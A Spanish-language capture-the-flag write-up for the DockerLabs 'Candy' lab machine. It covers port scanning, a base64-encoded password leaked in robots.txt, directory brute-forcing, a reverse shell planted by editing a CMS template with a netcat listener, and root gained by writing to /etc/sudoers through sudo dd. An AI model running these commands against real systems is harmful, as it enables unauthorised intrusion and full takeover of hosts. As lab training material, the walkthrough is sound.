> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/candy.md).

# Candy

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/eORn3Ig5XGb2BduBwExj" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/zytGe7GnFdhsfOjLLyxF" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 80** perteneciente al **servicio HTTP** está abierto por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 172.17.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="/files/IFswHIU34V1v9sHkWsjv" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web llamada Cassiopeia.

<figure><img src="/files/D4g8kG7V5aRQlUw6lRoo" alt=""><figcaption></figcaption></figure>

Como nos pide unas credenciales vamos a revisar el archivo `robots.txt` por si contiene algo relevante.

<figure><img src="/files/FE4TCQXOhHykVnHjozXU" alt=""><figcaption></figcaption></figure>

Vemos unas credenciales pero la contraseña parece ser que está codificada en **base64**.

```bash
echo "c2FubHVpczEyMzQ1" | base64 -d
```

<figure><img src="/files/YClByVtyOsKLsoC2s214" alt=""><figcaption></figcaption></figure>

Nos logueamos y estamos dentro.

<figure><img src="/files/f2dT0IVuSzw7UIcCLJAl" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php,txt,xml
```

<figure><img src="/files/Yq9kXDC2YimIDxdQyYp4" alt=""><figcaption></figcaption></figure>

Nos encontramos un directorio llamado `/administrator` y entramos en él y nos pide unas credenciales que hemos encontrado anteriormente.

<figure><img src="/files/7yhhfswSHBMkh9Z06zYc" alt=""><figcaption></figcaption></figure>

Nos logueamos y estamos dentro.

<figure><img src="/files/KvBNF7lotRhyFKiB7gAn" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Vamos a **System** en concreto **Sites Templates** y editamos el archivo `error.php` para hacer una [**Reverse Shell**](https://www.revshells.com/). Nos ponemos en escucha.

```bash
nc -lvnp 443
```

<figure><img src="/files/oSDVBv6Sc42h3LJcatNA" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos SUDO.

```bash
find / -user luisillo 2>/dev/null
```

<figure><img src="/files/4wIdPfSMOD6dJFcbQZxt" alt=""><figcaption></figcaption></figure>

Mostramos el contenido de ese archivo.

```bash
cat /var/backups/hidden/otro_caramelo.txt
```

<figure><img src="/files/IBfwpzDNlQfGwTPj0dUV" alt=""><figcaption></figcaption></figure>

Parecen unas credenciales por lo que intentamos loguearnos.

<figure><img src="/files/XdJdz7CilZKnx71qPQp3" alt=""><figcaption></figcaption></figure>

Tenemos permisos SUDO con dd por lo que revisamos esta [página](https://gtfobins.github.io/gtfobins/dd/).

```bash
echo "luisillo ALL=(ALL:ALL) ALL" | sudo /bin/dd of=/etc/sudoers
```

<figure><img src="/files/FBnksrVQqpxqU80j7fuF" alt=""><figcaption></figcaption></figure>
